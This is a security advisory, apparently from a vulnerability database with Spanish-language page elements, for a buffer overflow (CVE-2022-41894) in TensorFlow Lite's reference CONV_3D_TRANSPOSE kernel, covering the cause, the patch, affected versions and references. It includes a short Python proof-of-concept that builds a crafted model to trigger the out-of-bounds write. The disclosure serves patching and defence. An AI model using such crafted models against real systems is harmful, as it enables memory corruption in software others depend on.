Buffer overflow in `CONV_3D_TRANSPOSE` on TFLite
Impact
The reference kernel of the CONV_3D_TRANSPOSE TensorFlow Lite operator wrongly increments the data_ptr when adding the bias to the result.
Instead of data_ptr += num_channels; it should be data_ptr += output_num_channels; as if the number of input channels is different than the number of output channels, the wrong result will be returned and a buffer overflow will occur if num_channels > output_num_channels.
An attacker can craft a model with a specific number of input channels in a way similar to the attached example script. It is then possible to write specific values through the bias of the layer outside the bounds of the buffer. This attack only works if the reference kernel resolver is used in the interpreter (i.e. experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF is used).
import tensorflow as tf
model = tf.keras.Sequential(
[
tf.keras.layers.InputLayer(input_shape=(2, 2, 2, 1024), batch_size=1),
tf.keras.layers.Conv3DTranspose(
filters=8,
kernel_size=(2, 2, 2),
padding="same",
data_format="channels_last",
),
]
)
converter = tf.lite.TFLiteConverter.from_keras_model(model)
tflite_model = converter.convert()
interpreter = tf.lite.Interpreter(
model_content=tflite_model,
experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF,
)
interpreter.allocate_tensors()
interpreter.set_tensor(
interpreter.get_input_details()[0]["index"], tf.zeros(shape=[1, 2, 2, 2, 1024])
)
interpreter.invoke()Patches
We have patched the issue in GitHub commit 72c0bdcb25305b0b36842d746cc61d72658d2941.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Thibaut Goetghebuer-Planchon, Arm Ltd.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.8.4, >= 2.9.0, < 2.9.3, >= 2.10.0, < 2.10.1 | 2.8.4, 2.9.3, 2.10.1 |
Referencias
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h6q3-vv32-2cq5
- https://nvd.nist.gov/vuln/detail/CVE-2022-41894
- https://github.com/tensorflow/tensorflow/commit/72c0bdcb25305b0b36842d746cc61d72658d2941
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/blob/091e63f0ea33def7ecad661a5ac01dcafbafa90b/tensorflow/lite/kernels/internal/reference/conv3d_transpose.h#L121
- https://pypi.org/project/tensorflow
- https://github.com/advisories/GHSA-h6q3-vv32-2cq5
- Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-120- Plataforma
- Python (PyPI)
- Paquete
tensorflow- Publicada
- 21.11.2022
- Actualizado
- 11.10.2026 13:18
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-h6q3-vv32-2cq5 - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-936 - PyPA Advisory Database; CC BY 4.0
Historial de vulnerabilidades: tensorflow
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 433
- Primera → última
- 04.2019 07.2024
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 6
- Alta 112
- Media 210
- Baja 105
Divulgaciones por año
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 169
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
Buffer overflow in `CONV_3D_TRANSPOSE` on TFLite esta entrada
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